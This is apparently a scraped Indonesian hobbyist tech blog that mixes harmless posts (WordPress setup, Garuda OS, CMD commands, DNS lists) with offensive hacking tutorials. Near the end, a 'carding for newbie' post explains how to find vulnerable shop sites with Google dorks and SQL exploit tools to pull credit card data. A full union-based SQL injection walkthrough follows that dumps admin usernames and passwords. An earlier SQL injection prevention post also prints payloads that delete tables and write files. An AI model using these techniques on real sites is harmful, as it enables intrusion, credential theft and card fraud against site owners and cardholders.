Nero StartSmart Essentials Free

Iseng cek Forum download kesayangan ane,ternyata nemu ginian,lumayan lah buat nambah koleksi gratisan :p
meskipun versi nya masih Nero-9.4.12.3d hehehehe yg penting FREE lah pokok nya

untuk Link download nya silahkan klik >>>DISINI<<<

install wordpress di localhost

okeh kali ini kita sama2 belajar ye :D
ane juga lagi belajar ginian ama temen ane febrian

yak langsung ajah
wp yg saya pake wordpress-3.0.4
dan untuk wp nya bisa di cari di google :p


tahap pertama yaitu pembuatan database
cara pemanggilan-nya
http://localhost/phpmyadmin

 

tahap kedua kita mulai instal wp-nya dengan cara
http;//localhost/wordpress

setelah isi textbox pada SS terakhir maka kita akan diarahkan ke page berikut-nya yg berisi username dan password yg telah kita buat

lalu klik login dan masukan username serta password yg telah kita buat tadi
mungkin segitu aja ye tutor nya
selanjut nya di kembangin aja hahaha

thanks buat : febrian

Garuda OS + Link Download

wah ini nih yg di tunggu2,Garuda OS
OS besutan Indonesia,negara tercinta kita ini yg rada mirip ubuntu ato malah copy dari ubuntu
who knows lah yg penting ini inovasi dan kreasi anak Indonesia :D

GARUDA adalah sistem operasi (OS) legal berbasis sistem terbuka (Open Source) kreasi dari pengembang lokal. GARUDA menggunakan desktop modern yang menawan dan sangat mudah dipergunakan, bahkan oleh para pengguna yang sudah terbiasa dengan Windows.
GARUDA juga sangat aman dari gangguan virus komputer, stabilitasnya tinggi, disertai dukungan bahasa Indonesia dan dilengkapi dengan banyak program dari berbagai macam kategori.
GARUDA bisa diperoleh secara bebas tanpa harus mengeluarkan biaya untuk pembelian lisensi, namun tetap mengutamakan kualitas.

FITUR :
* Inti (kernel) sistem operasi : 2.6.38
* Desktop : KDE 4.6.1
* Dukungan driver Nvidia + ATI
* Dukungan Wireless untuk berbagai perangkat jaringan
* Dukungan perangkat printer lokal ataupun jaringan
* Dukungan banyak format populer multimedia (flv, mp4, avi, mov, mpg, mp3, wma, wav, ogg, dll …)
* Dukungan bahasa Indonesia dan bahasa Inggris serta lebih dari 60 bahasa dunia lainnya (Jepang, Arab, Korea, India, Cina, dll…)
* Dukungan untuk instalasi berbagai macam program aplikasi dan game (online) berbasis Windows
* Dukungan untuk berbagai macam dokumen dari program populer berbasis Windows (seperti Photoshop, CorelDraw, MS Office, AutoCAD, dll)

KEBUTUHAN PERANGKAT KERAS :
* Processor : Intel Atom; Intel atau AMD sekelas Pentium IV atau lebih
* Memory : RAM minimum 512 MB, rekomendasi 1 GB.
* Hard disk : minimum 9 GB, rekomendasi 20 GB atau lebih jika ingin menginstal program lain
* Video card : nVidia, ATI, Intel, SiS, Matrox, VIA
* Sound card : Sound Blaster, kartu AC97 atau HDA

PROGRAM APLIKASI :
Perkantoran :
* LibreOffice – disertai kumpulan ribuan clipart, kompatibel dengan MS Office dan mendukung format dokumen SNI (Standar Nasional Indonesia)
* Scribus – desktop publishing (pengganti Adobe InDesign, Page Maker)
* Dia – diagram / flowchart (pengganti MS Visio)
* Planner – manajemen proyek (pengganti MS Project)
* GnuCash, KMyMoney – program keuangan (pengganti MYOB, MS Money, Quicken)
* Kontact – Personal Information Manager / PIM
* Okular, FBReader – universal document viewer
* dan lain-lain …
Internet :
* Mozilla Firefox 4.0, Chromium, Opera – web browser (pengganti Internet Explorer)
* Mozilla Thunderbird – program email (pengganti MS Outlook)
* FileZilla – upload download / FTP
* kTorrent – program bittorrent
* DropBox – Online Storage Program (free 2 Gb)
* Choqok, Qwit, Twitux, Pino – aplikasi microblogging
* Google Earth – penjelajah dunia
* Skype – video conference / VOIP
* Gyachi, Pidgin – Internet messenger
* xChat – program chatting / IRC
* Kompozer, Bluefish – web / html editor (pengganti Dreamweaver)
* Miro – Internet TV
* dan lain-lain …

Multimedia :
* GIMP – editor gambar bitmap (pengganti Adobe Photoshop)
* Inkscape – editor gambar vektor (pengganti CorelDraw)
* kSnapshot – penangkap gambar layar
* Digikam – pengelola foto digital
* Gwenview – Photo Viewing Client
* XBMC – multimedia studio
* Amarok – audio player + Internet radio
* Kaffeine – video / movie player
* TVtime – television viewer
* Audacity – audio editor
* Cinelerra, Avidemux – video editor
* Blender – Animasi 3D
* Synfig, Pencil – Animasi 2D
* dan lain-lain …

Edukasi :
* Matematika – aljabar, geometri, plotter, pecahan
* Bahasa – Inggris, Jepang, permainan bahasa
* Geografi – atlas dunia, planetarium, kuis
* Kimia – tabel periodik
* Logika Pemrograman

Administrasi Sistem :
* DrakConf – Computer Control Center
* Synaptic – Software Package Manager
* Samba – Windows sharing file
* Team Viewer – remote desktop & online meeting
* Bleachbit – pembersih sistem
* Back in Time – backup restore sistem
* dan lain-lain …

Program Bantu :
* Ark – program kompres file (pengganti Winzip, WinRar)
* K3b – pembakar CD/DVD (pengganti Nero)
* Dolphin – file manager
* Cairo Dock – Mac OS menu dock
* dan lain-lain …

Game :
* 3D Game Maker
* Mahjong, Tetris, Rubik, Billiard, Pinball, BlockOut, Sudoku, Reversi
* Solitaire, Heart, Domino, Poker, Backgammon, Chess, Scrabble
* Frozen Bubble, Flight Simulator, Tron, Karaoke
* City Simulation, Fighter, Doom, Racing, Tremulous FPS
* DJL, Play on Linux, Autodownloader – game manager / downloader
* dan lain-lain ….

Dan diluar program-program yang sudah terinstal diatas, masih ada lebih dari 10.000 program tambahan dalam berbagai kategori yang tersedia di pustaka program Synaptic.
Jadwal Peluncuran :
* 13 April 2011 – GARUDA 1.1 Cakar 1
* 02 Mei 2011 – GARUDA 1.1 Cakar 2
Menyongsong Hari Pendidikan Nasional … untuk guru, dosen, pengajar, instruktur, pelatih dan semua yang peduli dengan pendidikan Indonesia yang lebih baik … ayo Go Legal, Go Local, Go Liberty !!!
* 20 Mei 2011 – GARUDA 1.1.5 Final
Menyongsong Hari Kebangkitan Nasional … untuk Indonesia yang berani Bangkit dan Mandiri … ayo Go Legal, Go Local, Go Liberty !!!

dan ini link download nya :  Download dimari

Easter Egg/Glitch di Ubuntu

iseng googling ane nemu ginian eh tenyata work gan
mayan lah buat nambah ilmu nih ixixixixi
easter egg?? eehhmmm apaan tuh?? telur paskah??
maybe yes maybe no LOL
oke cekidot aja kalo mau tau ixixi :D

memperbagus terminal linux

kali ini ane ngasih tau cara memperganteng terminal
ya usul punya usul emang ini sepele tp lumayan buat ngebagusin


oke cekidot cara nya nih

Sniffing using ettercap on backtrack 4

ok kali ini tak buat tutorial sniffing make ettercap di backtrack 4
dan ga usah bertele2 enak nya langsung aja di pelajari ya

cekidot

daftar repository Ubuntu server lokal

oke deh kali ini simpel aja,sedikit pengetahuan untuk Ubuntu nih,nah kebetulan juga ini repo dapet dari kampus ane
moga aja berguna yak :D

tutorial setting LAN di backtrack

kali ini tak bikin tutor cara setting LAN di backtrack]
bagi yg masih bingung ama backtrack mudah2an ini cukup membantu :D

merubah posisi tombol window di ubuntu

bagi yang baru menggunakan ubuntu biasanya akan sedikit kebingungan dengan letak tombol window, kalau biasanya pada windows

tombol windownya ada disebelah kanan,,lah yang di ubuntu kok malah disebelah kiri, kayak macOS jadinya, trus pas mau “close”,”minimize” ataupun “maximize”kannya sedikit canggung,
kayak digambar ini

sedikit tutorial standar CMD [command promp]

Sekarang kita akan membahas sedikit tentang beberapa command dalam CMD [ command prompt ] pada windows. Command Prompt merupakan aplikasi bawaan windows yang menurut saya sangat bagus untuk kita pelajari. Untuk mengetahui perintah-peritah apa yang ada pada command promp silahkan ketikkan " help " dan dengan seketika akan muncul beberapa command yang bisa digunakan.
Antara lain:

copy & xcopy
Quote:
Copy seperti namanya merupakan perintah untuk melakukan copy file. Sintaknya “ copy [nama file lengkap dengan extensinya ] [ tujuan ] “. Contohnya saya akan mengcopy file coba.doc pada drive D, ke kesebuah folder yang ada di drive C, misalkan nama foldernya " newFolder ", maka terlebih dulu masuk ke drive D lewat CMD dengan mengetikkan nama drive " D: " (tanpa tanda petik), selanjutnya ketikkan perintah " copy coba.doc C:\newFolder ", maka file coba.doc akan dicopy ke folder newFolder yang ada di drive C. Sebenarnya kita juga bisa mengcopy file tersebut tanpa harus masuk ke drive D terlebih dahulu dengan catatan anda harus tahu terlebih dulu lokasi folder, nama dan type file yang ingin anda tersebut, seperti contoh tadi berarti anda harus ketikkan perintah berikut " copy D:\coba.doc C:\newFolder ".
Bagaimana jika kita ingin mencopy satu folder sekaligus?
Quote:
Kita juga bisa menggunakan perintah copy biasa, akan tetapi nama folder tersebut tidak ikut tercopy, yang tercopy hanya isinya doang. Disinilah kita bisa menggunakan perintah " xcopy ". Misalkan kita ingin mengcopy folder di Drive D: yang terdiri dari banyak sub folder maka kita bisa ketikkan perintah " xcopy /e [namafolder] [drive tutujuan ]. " /e " merupakan perintah untuk melakukan copy terhadap subdirectory. Ada juga cara lain jika kita ingin mencopy dengan praktis dan cepat yakni dengan menggunakan extensi file tertentu. Contohnya jika saya ingin mengcopy semua file yang berekstensi *.txt yang ada di drive D: maka saya bisa ketikkan perintah " xcopy /s *.txt C:\newFolder ", maka setiap file dengan extensi *.txt akan tercopy ke folder newFolder di drive C.

Uniknya dengan perintah copy ini kita bisa mencopy suatu file kedalam file lainnya, misalnya ada dua file berextensi *.txt dengan nama a.txt dan b.txt, dengan perintah copy saya bisa menggabungkan kedua file tersebut, misalkan hasil gabungan filenya berextensi c.txt maka perintahnya “ copy /b a.txt + b.txt = c.txt “, perintah “ /b “ berarti dalam peritah copy tadi akan dilakukan copy binary juga. Dalam file c.txt akan tertulis isi dari file a.txt dan b.txt. Kita bisa menggabungkan file dengan type apapun, sehingga cara ini cocok kita gunakan untuk menyembunyikan suatu informasi peting, contohnya jika saya ingin mengirim pesan rahasia kepada teman saya, saya tidak perlu menggunakan ilmu kryptograpy untuk melakukannya, saya copykan saja pesannya ke dalam suatu file yang orang tidak mungkin akan curiga. Coba anda copykan sebuah file *.txt misalkan namanya a.txt dimana dalam a.txt terdapat pesan " ada bom " kedalam file berekxtensi *.jpg misalkan nama filenya gambar.jpg dengan perintah " copy /b gambar.jpg + a.txt = c.jpg "

perintah ini akan menghasilkan sebuah file baru dengan nama c.jpg, jika anda buka file tersebut maka gambar.jpg akan terbuka secara normal.
Terus pesan yang tadi dimana?

Jika anda ingin melihat pesan " ada bom " tadi anda klik kanan pada gambar.jpg tadi dan pilih open with menggunakan notepad, maka akan terlihat code ASCII untuk gambar.jpg tersebut, tulisan anda ada pada ujung code ASCII tadi.

Banyak orang juga menggunakan cara ini unutk menyembukan suatu file kedalam file tertentu misalnya taruh music atau video dalam file *.jpg. Syaratnya anda kompress dulu file yang ingin disembunyikan tadi menggunakan winzip atau winrar dan jika suatu saat anda ingin membuka file tersebut anda harus membuka file *.jpg tadi menggunakan winrar atau winzip selanjutnya tinggal di ekstrak. Yang perlu anda perhatikan dalam copy file kedalam file ini adalah urutannya. Misalkan perintah perintah 1 “copy /b gambar.jpg + file.zip = gambarbaru.jpg “ dan perintah 2 “copy /b file.zip + gambar.jpg += gambarbaru.jpg “. Pada perintah satu gambarbaru.jpg akan bisa terbuka normal dan perintah 2 gambarbaru.jpg tidak akan bisa terbuka.
Attrib
Quote:
Attrib digunakan utnuk mengganti atau memberikan attribut suatu file. Attrib dikombinasikan dengan beberapa perinta diantaranya
+ memberikan attribut
- menghapus attribut
S system file attribut
H hidden file attribut
R read-only file attribut
A archiev file attribut
Contoh misalkan saya ingin memberikan attribut hidden dan read-only semua file berextensi *.txt pada drive D maka perintahnya adalah “ attrib +h +r *.txt /s “, maka semua file dengan ekstensi *.txt akan terhidden dan read only di drive D, untuk mengembalikannya kita hanya perlu merubah tanda plus menjadi minus. Ini sangat membantu jika kita ingin menyembunyikan file dalam jumlah yang banyak sekaligus.

Del
Quote:
Del merupakan peritah untuk mendelete satu ata beberapa file. Untuk bisa mendelete suatu file, file tersbut tidak boleh terhidden. Jika ada kasus seperti kemarin saya menemukan virus sebangsa sality yang mengcopykan file *.lnk, *.inf dan *.db kesemua folder dan subfolder, saya menggunakan peritah del untuk menghaus sekaligus file tersebut, tapi karna file tersebut terhidden maka harus kita gantai dulu attribut file tersut dengan perintah seperti yang dijelaskan diatas tadi, baru kemuadian bisa saya delete, adapun perintahnya “ del *.lnk *.inf *.db /s “ maka perintah in akan melkuakn delete file susai ekstensi file yang kita ketikkan, “ /s “ berarti peritah del ini akan dilakukan juga ke semua sub folder.
Demikian artikel sederhana ini,.moga bermanfaat bagi yang membutuhkan..

sejarah barcode

57 tahun lalu, sebuah teknologi identifikasi otomatis dan data kolektif berhasil ditemukan dan dipatenkan. Penemunya adalah Joseph Woodland dan Bernard Silver.

Awalnya, kode batangan ini digambarkan sebagai sebuah lingkaran target yang terbuat dari sekumpulan lingkaran yang terpusat. Namun disesuaikan dengan namanya, barcode kini terdiri dari garis-garis hitam tebal tipis yang sejatinya terangkai atas sebuah kata atau bilangan.


Rabu (7/10/2009), pada tahun 1948 sebuah perusahaan retail makanan menanyakan kepada Drexel Institute akan kemungkinan adanya metode yang dapat digunakan untuk membuat data dan informasi produk secara kolektif.

Drexel Institute pun meminta kepada mahasiswanya untuk membuat penelitian ini. Joseph Woodland dan Bernard Silver menyanggupi penelitian tersebut. Ide dasar yang menjadi aspirasi Woodland adalah penggunakan tinta yangn sensitif terhadap cahaya ultraviolet.

Barcode dikomersilkan pertama kali pada tahun 1966 namun masih terkendala pada standarisasi industri. Akhirnya pada tahun 1970 standar barcode pertama datang dari Universal Grocery Products Identification Code (UGPIC) besutan perusahaan Logicon Inc. Perusahaan yang pertama kali berhasil memproduksi peralatan barcode untuk kepentingan perdagangan retail adalah Monarch Marking. Sedangkan barcode untuk kepentingan industri diproduksi oleh perusahaan Inggris bernama Plessey Telecommunication.

Seiring dengan kemajuan zaman, UGPIC berevolusi menjadi UPC Symbol atau Universal Product Code. Pada Juni 1974, UPC Scannar pertama kali diperkenalkan oleh Supermarket Marsh di Troy, Ohio. Produk pertama yang menyertakan barcode dalam kemasannya adalah permen karet merek Wrigleys.





sumber : http://www.forumkami.com/forum/software/57171-sejarah-barcode.html

ungkap rahasia microsoft

kalimat2 ini mungkin agak asing kita dengar di microsoft ini,tp soft nya pasti kita2 udah pada tw donk
xixixixixi
klo ga tau mending goyang dombret aja
tp cekidot gan [sebelum nya gw mau nyoba,tp berhubung gw OL di warnet jadi ngga mungkin]

Kalimat Rahasia Microsoft

Kalimat Rahasia Notepad

1. Pertama buka Notepad dengan cara Start → All à Programs → Accessories → Notepad

2. Setelah itu ketik kalimat berikut “Bush hid the facts” tanpa tanda petik

3. Simpan dengan nama apa saja yang penting formatnya txt

4. Tutup notepadnya lalu buka kembali dan keajaiban akan terlihat wkwkwkw

5. Satu kalimat rahasia Microsoft telah di selesaikan…

Kalimat Rahasia Ms.Word

1. Pertama jalankan program Ms.Word dengan cara Start → All → Program → Ms.Oficce→ Ms.Word

2. Setelah itu ketik lah kalimat “=rand(200,99)” tanpa tanda petik okee

3. Tekan enter dan lihat hasilnya wkwkwk

4. Dua kalimat rahasia Microsoft telah di selesaikan…

Kalimat Rahasia untuk memberikan nama

1. Buat Folder lalu beri nama “CON” tanpa tanda petik

2. Lihat hasilnya

3. Tiga Kalimat rahasia Microsoft telah selesai…..



Kalimat Rahasia Windows 7 untuk Internet Explorer 7

1. Masukan di Address bar kalimat res://shdoclc.dll/wcee.htm

2. Lalu cari kode Function Onload 0

3. Setelah itu akan tampil kode If(Decodestr(“gurjPRR”) !=window.name) retrun; (Hapus fungsi IF nya)

4. Lalu save dengan nama egg.html dan buka kembali dengan IE 7

5. Lalu lihatlah keajaibannya heheheh

6. Selesai sudah Kalimat Rahasia Microsoft


Apakah sobat tahu kalimat rahasia Microsoft adalah Easter egg atau dalam istilah komputer adalah program tersembunyi atau pesan tersembunyi yang dibuat oleh programmer…

daftar DNS dalam jaringan

Banyak sekali mamfaat DNS yang masih bisa kita gunakan, diantara nya. pilihan DNS umum/Open DNS yang bisa kamu gunakan untuk mempercepat internet kamu:

DNS untuk Memblockir Situs Porno
180.131.144.144 (primary)
180.131.145.145 (secondary)


server DNS google

8.8.8.8

8.8.4.4

Server DNS indosat.net.id termasuk DNS Indosat IM2
202.155.0.10
202.155.0.15
202.155.0.20
202.155.0.25
202.155.46.66
202.155.46.77
202.155.30.227

DNS Telkom.net.id Telkom Speedy
202.134.2.5
203.130.196.5
202.134.0.155
202.134.1.10
202.134.0.62
202.159.32.2
202.159.33.2
202.155.30.227

DNS AWARI (Asosiasi Warnet Indonesia)
203.34.118.10
203.34.118.12

DNS sat.net.id
202.149.82.25
202.149.82.29

DNS cbn.net.id
202.158.40.1
202.158.20.1
202.158.3.7
202.158.3.6

Singnet Singapore
165.21.100.88
165.21.83.88

DNS indo.net.id
202.159.32.2
202.159.33.2

DNS itb.ac.id
202.249.24.65
167.205.23.1
167.205.22.123
167.205.30.114

DNS ukdw.ac.id
222.124.22.18

Daftar DNS Luar indonesia :

DNS Open DNS
208.67.222.222
208.67.220.220

DNS ScrubIt
67.138.54.100
207.225.209.66

DNS DNSadvantage
156.154.70.1
156.154.71.1

DNS vnsc-pri.sys.gtei.net
4.2.2.1
4.2.2.2
4.2.2.3
4.2.2.4
4.2.2.5
4.2.2.6

Verizon (Reston, VA, US)
151.197.0.38
151.197.0.39
151.202.0.84
151.202.0.85
151.202.0.85
151.203.0.84
151.203.0.85
199.45.32.37
199.45.32.38
199.45.32.40
199.45.32.43

GTE (Irving, TX, US)
192.76.85.133
206.124.64.1

One Connect IP (Albuquerque, NM, US)
67.138.54.100

OpenDNS (San Francisco, CA, US)
208.67.222.222
208.67.220.220

Exetel (Sydney, AU)
220.233.167.31

VRx Network Services (New York, NY, US)
199.166.31.3

SpeakEasy (Seattle, WA, US)
66.93.87.2
216.231.41.2
216.254.95.2
64.81.45.2
64.81.111.2
64.81.127.2
64.81.79.2
64.81.159.2
66.92.64.2
66.92.224.2
66.92.159.2
64.81.79.2
64.81.159.2
64.81.127.2
64.81.45.2
216.27.175.2
66.92.159.266.93.87.2

Sprintlink (Overland Park, KS, US)
199.2.252.10
204.97.212.10
204.117.214.10

Cisco (San Jose, CA, US)
64.102.255.44
128.107.241.185

sumber : http://galangsahtiyanza.blogspot.com/search/label/Jaringan%20dan%20Komputer

cara mencegah SQL injection

SQL Injection adalah salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server. Pada dasarnya,serangan ini difasilitasi oleh kode program anda sendiri. teknik nya,penyerang mencoba memasukkan query (melalui field atau URL) yang akan menyebabkan database server men-generate query SQL yang tidak valid.

Pada kenyataan nya,SQL injection terbukti merupakan salah satu teknik terbaik yang sering melumpuhkan sasarannya. Begitu penyerang berhasil menguasai kendali dataase server,ia bisa melakukan apa saja,seperti memodifikasi atau bahkan menghapus semua data yang ada. bagaimana pun juga, ini bisa dicegah jika kode program anda melakukan validasi yang baik.

Sebenarnya apa bila anda teliti,teknik SQL injection sangat sederhana sekali. Akan tetapi justru yang sering diabaikan oleh para programer,entah itu tidak tahu atau lupa.

Berikut ini beberapa contoh teknik SQL injection,implementasi,dan cara menggagalkan nya.

Single SQL Injection
walaupun penyerang awalnya mencoba memasukan query berupa pernyataan SQL,akan tetapi bukan sembarang query. Dalam hal ini,penyerang cukup memiliki pengatahuan mengenai SQL,sebagai contoh permulaan (maklumlah saya masih newbie :P) anda memiliki kode seperti ini.

$match = false;
if (isset($_POST['submit'])) {
$nama = $_POST['nama'];
$pass = $_POST['pass'];
$sql = "SELECT nama, password FROM user WHERE
nama='$nama' AND password='$pass'";
$res = mysqli_query($db, $sql);
// jika res berhasil,dan row yang
// dikembalikan=1, set $match=true
if ($res && mysqli_query_rows($res) == 1) {
$match = true ;
mysqli_free_result($res);
}
if ($match === true) {
echo 'account match';
} else {
echo 'invalid account';
}
}


kode program diatas memang kelihatan melakukan verifikasi data, tetapi sebenarnya sangat rapuh,penyerang bisa menggnakan query-query seperti dibawah ini,untuk melakukan akses secara tidak sah

// mengisi field nama saja,# adalah komentar,
// yang akan mengabaikan baris setelahnya
admin'#

// mengisi nama field saja
// mengekstrak data kelokasi tertentu
'OR' 1=1 INTO DUMPFILE '/path/ke_lokasi/file.txt '#
'OR' 1=1 INTO OUTFILE '/path/ke_lokasi/file.txt '#

Bagaimapun juga,contoh contoh SQL injection diatas adalah contoh yang umum. Adapun untuk mencegah nya menggunakan fungsi mysql_real_escape_string () atau addslashes(), seperti yang diuraikan pada fungsi myMacig()sebelumnya

$nama = myMacig($_POST['nama']};
$pass = myMacig($_POST['pass']};


Multiple SQL injection
Contoh SQL injection lainnya adalah dengan memberikan multiple query,seperti berikut:
// $id dari method GET/POST
$sql = "SELECT * FROM buku WHERE kode='{$id}’ “;
//mengahapus isi table
0; DELETE FROM user
// membuat account baru
0; GRANT ALL ON *.* TO 'xxx@%'
Dalam kasus ini,macig quote akan mengabaikan tanda titik koma,ini sangat membahayakan
jika menggunakan SQLite atau postgreSQL. Adapun solusi nya adalah menggunakan operator casting untuk memastikan bahwa id harus integer.

//Simulasi nilai $_POST['id']
0; DELETE FROM user
$id = (int) myMacig($_POST['id']);

apabila anda ingin memeriksa apakah input mengandung karakter tertentu,gunakan fungsi strpos().

$nama = myMacig ($_POST ['id']);
// periksa apakah karakter ; terdapat
// di variabel $nama.
if (strpos($nama, ';' die ('Naughty Naughty,
Very Naughty...');


sumber : http://galangsahtiyanza.blogspot.com/search/label/Hacked

step by step carding for newbie

nih tutor carding bwt newbie (tp jgn di buat untuk kejahatan,inget dosa aja :D )


-------------------------------
tools yg di siapkan yaitu:
#.google extractor yg bisa di donlot
http://www.ziddu.com/download/9602096/Google_URL_Extractor_Version_1.1.rar.html
#.SQL exploiter versi berapa aja yg juga bisa di donlot disini
http://www.ziddu.com/download/9602410/SQLExploiterProv2.10.rar.html
-------------------------------

-------------------------------
tahap tahap yg di lakukan 1
#buka google extractor, lalu masukan dork product.asp?id= site:il (terserah mo dork siapa tp sekarang saya pake dork nya israel )
#trus scan, kalo sudah muncul link" yg kluar silah kan di klick kanan trus remove duplicate, biar ga keder



#lalu pindah ke TAB sql injector query builder
#masukan argumen tanda tanya(?)di insert arguments here
#kalo sudah klick Build Dan Scan



#trus ke tab berikut nya yaitu tab attack victim
#cari yg error result nya : unclosed quotation mark before the character ..... ga tau knp pokok nya ikutin aja jgn banyak tanya

#klick kanan copy url yg victim



tahap pemakaian sql exploiter2
#buka sql exploiter trus ke tab attacker for the hackable SHIT !!
#klik add manualy , masukan url yg victim tadi, trus paste (kadang tanda ' harus di hilangkan)



#kalo udah klick site info sampe info nya keluar
#kalo udah keluar maka tingal get table, maka akan muncul table" web tersebut, yg ku tandai warna biru




#pilih salah 1 yg ada di table tsbt, yg kira" dimana letak CC nya, trus get columb buat mengetahui colum apa aja di table tsb, tapi x ini aku ga ke table order
#kalo udah muncul smua colomb , drag smua colom trus get data



nih tutor di copas dari http://phl.web.id/showthread.php?t=418

credit : Palembang Hacker Link | Ichito-Bandito | OrangBego | DexteR

my first blog for SQLi tutorial

seperti yg saya katakan
ini memang blog pertama saya
xixixixi
dan di post yg pertama ini saya mau share tutor SQL Injection

maap nih bagi para2 hacker senior
saya yg newbie dan copo ini cuma mo share
tp monggo di coba atuh

Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal:

Code:

[site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:

Code:

[site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:

Code:

[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal:

Code:

[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal:

Code:

[site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi

Code:

[site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8--

atau

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


===========
=step Empat:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Lima: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir
Code:

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi : http://palembanghackerlink.org/split/converter.php
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--

============
=step Enam:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

==============
= step Tujuh:=
==============

tahap terakhir mencari halaman admin atau login .

credit to : Palembang Hacker Link | Gonzhack | Ichito-Bandito | DexteR | OrangBego